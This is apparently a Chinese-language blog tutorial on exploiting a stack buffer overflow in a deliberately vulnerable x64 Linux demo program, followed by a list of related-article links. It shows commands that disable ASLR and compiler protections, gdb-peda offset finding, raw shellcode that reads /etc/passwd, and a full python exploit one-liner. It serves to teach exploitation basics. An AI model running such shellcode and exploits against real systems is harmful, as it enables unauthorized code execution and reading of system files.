記一次linux x64 的棧溢位
0x01 x86與x64的區別
暫存器名稱的不同。如x86下的EBP、ESP在x64中都成為了RBP、RSP。
函式傳參的不同。x86中引數都是儲存在棧上,但在x64中的前六個引數依次儲存在RDI, RSI, RDX, RCX, R8和 R9中,如果還有更多的引數的話才會儲存在棧上。
記憶體地址大小不同。在x64中的記憶體地址不能大於 0x00007fffffffffff ,否則會丟擲異常(0x7fffffffffff = 01111111111111111111111111111111111111111111111)。通常我們嘗試覆蓋棧時出現段錯誤,通常是訪問了大於 0x00007fffffffffff 的地址造成的。
0x02 demo
int main(int argc, char **argv) {
char buffer[256];
if(argc != 2) {
exit(0);
}
printf("%p\n", buffer);
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
return 0;
}
使用:gcc -m64 bof.c -o bof -z execstack -fno-stack-protector
編譯。
編譯完成之後我們把linux系統的ASLR(記憶體空間分佈隨機化)關閉。
sudo -s
echo 0 > /proc/sys/kernel/randomize_va_space
0x03 溢位棧
可以使用pattern指令碼來計算緩衝區的大小:https://github.com/Svenito/exploit-pattern
liuil@ubuntu:~/Desktop/script$ ./pattern.py 300
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7AhAh9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
liuil@ubuntu:~/Desktop$ ./bof Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
0x7fff29310170
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
Segmentation fault (core dumped)
可以發現我們觸發了棧溢位,接下來計算緩衝區的大小。由於程式使用的記憶體地址不能大於0x00007fffffffffff,PC指標並沒有指向類似於0x41414141那樣地址,但是ret
指令等於pop rip
,我們可以通過檢視棧頂指標的值確定下一步程式執行的地址。
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde38 ("Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9")
0008| 0x7fffffffde40 ("0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9")
0016| 0x7fffffffde48 ("j3Aj4Aj5Aj6Aj7Aj8Aj9")
0024| 0x7fffffffde50 ("Aj6Aj7Aj8Aj9")
0032| 0x7fffffffde58 --> 0x396a4138 ('8Aj9')
0040| 0x7fffffffde60 --> 0x0
0048| 0x7fffffffde68 --> 0xc586ca108a1de5d6
0056| 0x7fffffffde70 --> 0x400520 (<_start>: xor ebp,ebp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400686 in main ()
gdb-peda$ x/gx $rsp
0x7fffffffde38: 0x6a41396941386941
接著使用pattern.py計算緩衝區大小。
liuil@ubuntu:~/Desktop/script$ ./pattern.py 0x6a41396941386941
Pattern 0x6a41396941386941 first occurrence at position 264 in pattern.
則緩衝區的大小為264個位元組。
使用peda自帶的checksec功能檢視是否開啟保護:
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
發現沒有開啟任何保護,所以我們可以直接將shellcode放置在棧上執行。
則構造payload:shellcode + off + ret 即可。
利用一段現有的shellcode:
\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41
這段shellcode的作用是讀出/etc/passwd的內容。
寫出exp:
python -c 'print "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 + "\x7f\xff\xff\xff\xdc\x90"[::-1]'
執行完畢,就可以看到/etc/passwd的內容了。
相關文章
- 記一次棧溢位異常問題的排查
- 64位Linux下的棧溢位Linux
- Java棧溢位|記憶體洩漏|記憶體溢位Java記憶體溢位
- 阿里大佬講解Java記憶體溢位示例(堆溢位、棧溢位)阿里Java記憶體溢位
- StackOverFlowError(棧溢位)Error
- 棧溢位基礎
- 記憶體和棧溢位問題定位記憶體
- [二進位制漏洞]棧(Stack)溢位漏洞 Linux篇Linux
- Linux pwn入門教程(1)——棧溢位基礎Linux
- 棧溢位基礎及利用
- YoungzsoftCMailServer遠端棧溢位漏洞AIServer
- 記一次記憶體溢位導致的生產事故記憶體溢位
- 記憶體溢位:native溢位 和 上層溢位記憶體溢位
- 記一次Orika使用不當導致的記憶體溢位記憶體溢位
- 尾遞迴 - 杜絕記憶體洩漏溢位爆棧遞迴記憶體
- 記憶體溢位記憶體溢位
- 記憶體溢位的分析記憶體溢位
- 記一次 .NET 醫院CIS系統 記憶體溢位分析記憶體溢位
- 使用metasploit進行棧溢位攻擊-5
- 從CVE復現看棧溢位漏洞利用
- Python中的棧溢位及解決辦法Python
- 記一次網頁記憶體溢位分析及解決實踐網頁記憶體溢位
- 記一次 .NET 某婦產醫院 WPF記憶體溢位分析記憶體溢位
- Java記憶體溢位Java記憶體溢位
- JBOSS記憶體溢位記憶體溢位
- 記憶體溢位的問題記憶體溢位
- 記一次公司JVM堆溢位抽絲剝繭定位的過程JVM
- 記一次公司JVM堆溢位抽繭剝絲定位的過程JVM
- Re:從零開始的pwn學習(棧溢位篇)
- pwntools緩衝區溢位與棧沒對齊
- 記一次記憶體溢位問題的排查、分析過程及解決思路記憶體溢位
- MPU:鴻蒙輕核心的任務棧的溢位檢察官鴻蒙
- 傳說中的記憶體溢位記憶體溢位
- 堆溢位學習筆記筆記
- WebLogic: 記憶體溢位Web記憶體溢位
- java 程式記憶體溢位Java記憶體溢位
- 記憶體溢位問題記憶體溢位
- 深入淺出CPU眼中的函式呼叫&棧溢位攻擊函式